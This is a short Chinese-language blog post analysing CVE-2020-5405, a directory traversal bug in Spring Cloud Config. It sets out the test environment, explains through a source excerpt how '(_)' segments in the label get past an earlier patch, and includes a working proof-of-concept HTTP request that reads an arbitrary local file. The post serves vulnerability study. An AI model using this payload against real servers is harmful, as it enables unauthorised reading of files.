CVE-2020-5405 Spring Cloud Config 目录穿越漏洞分析

CVE-2020-5405 Spring Cloud Config 目录穿越漏洞分析

CVE-2020-5405 分析
先放 本地 poc:
GET /1/1/(_)..(_)..(_)c:/Temp/1.txt HTTP/1.1
Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

然后需要更改本地环境 这个 cve 是 19 年上一个 cve 的绕过,不过不同的是 19 年的官方 demo 配置是绕不过的。

本地环境设置

在 resources 文件夹下面的 configserver.yml 设置如下

info:
  component: Config Server
spring:
  profiles:
    active: native
  application:
    name: configserver
  autoconfigure.exclude: org.springframework.boot.autoconfigure.jdbc.DataSourceAutoConfiguration
  jmx:
    default_domain: cloud.config.server
  cloud:
    config:
      server:
        native:
          search-locations:
            - file:///c:/T1emp
server:
  port: 8888
management:
  context_path: /admin

需要开启 active 为 native,然后指定一个 search-locations。

这次的绕过其实本质上是在上一个漏洞检查 path 的基础上,在 label 上通过特殊的方法,穿越了目录从而达到了任意文件读取。

根据这次的 poc,可以看到,retrieve方法下面:

  if (name != null && name.contains("(_)")) {
   // "(_)" is uncommon in a git repo name, but "/" cannot be matched
   // by Spring MVC
   name = name.replace("(_)", "/");
  }
  if (label != null && label.contains("(_)")) {
   // "(_)" is uncommon in a git branch name, but "/" cannot be matched
   // by Spring MVC
   label = label.replace("(_)" , "/");
  }

通过(_)在后端替换成/来达到目录穿越。 所以这次的 poc 是 path 固定为一个文件,在 label 上用..来跳跃

看到图里的!isInvalidPath(local) && !isInvalidEncodedPath(local)应该是可以知道我找个版本是打了上次 19 年穿越漏洞的补丁的。 可以跨盘符读取。

本文使用 mdnice 排版

posted @ 2020-06-18 18:38  ph4nt0mer  阅读(47)  评论(0编辑  收藏